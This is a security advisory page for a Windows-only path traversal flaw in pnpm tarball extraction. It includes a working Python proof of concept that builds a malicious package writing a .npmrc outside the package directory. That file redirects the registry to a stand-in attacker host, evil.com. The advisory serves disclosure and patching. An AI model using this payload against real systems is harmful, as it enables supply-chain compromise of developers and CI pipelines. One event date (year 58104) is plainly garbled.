CVE-2026-23889: pnpm has Windows-specific tarball Path Traversal

Published Jan 26, 2026
·
Updated

Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details 1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) }

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

- On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable)

PoC 1. Create a malicious tarball with entry package/foo\..\..\.npmrc 2. Host it or use as a tarball URL dependency 3. On Windows: pnpm install 4. Observe .npmrc written outside package directory

python import tarfile, io

tarbuffer = io.BytesIO() with tarfile.open(fileobj=tarbuffer, mode='w:gz') as tar: pkgjson = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkginfo = tarfile.TarInfo(name='package/package.json') pkginfo.size = len(pkgjson) tar.addfile(pkginfo, io.BytesIO(pkgjson))

maliciouscontent = b'registry=https://evil.com/\n' malinfo = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') malinfo.size = len(maliciouscontent) tar.addfile(malinfo, io.BytesIO(maliciouscontent))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tarbuffer.getvalue())

Impact - Windows pnpm users - Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) - Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Other sources

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting .npmrc, build configs, or other files. Version 10.28.1 contains a patch.

NVD

Affected Software

3 affected componentsFixes available
npm/pnpm<10.28.1
10.28.1
All of the following
PNPM Pnpm Node.js<10.28.1
Microsoft Windows

Event History

Jan 26, 2026
Advisory Published
via GitHub·09:02 PM
Data Sourced
via GitHub·09:02 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:50 PM
Data Sourced
via MITRE·09:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Feb 27, 58104
Event
via FIRST·11:31 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-23889?

CVE-2026-23889 is a high-severity vulnerability due to the potential for path traversal leading to unauthorized file access on Windows.

2

How do I fix CVE-2026-23889?

To fix CVE-2026-23889, update pnpm to version 10.28.1 or later.

3

Who is affected by CVE-2026-23889?

CVE-2026-23889 affects all users of pnpm versions prior to 10.28.1 running on Windows.

4

What is the impact of CVE-2026-23889?

The impact of CVE-2026-23889 includes the risk of executing malicious packages that can overwrite files outside the intended directory.

5

Is CVE-2026-23889 related to a specific operating system?

Yes, CVE-2026-23889 is a Windows-specific vulnerability affecting pnpm's tarball extraction functionality.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203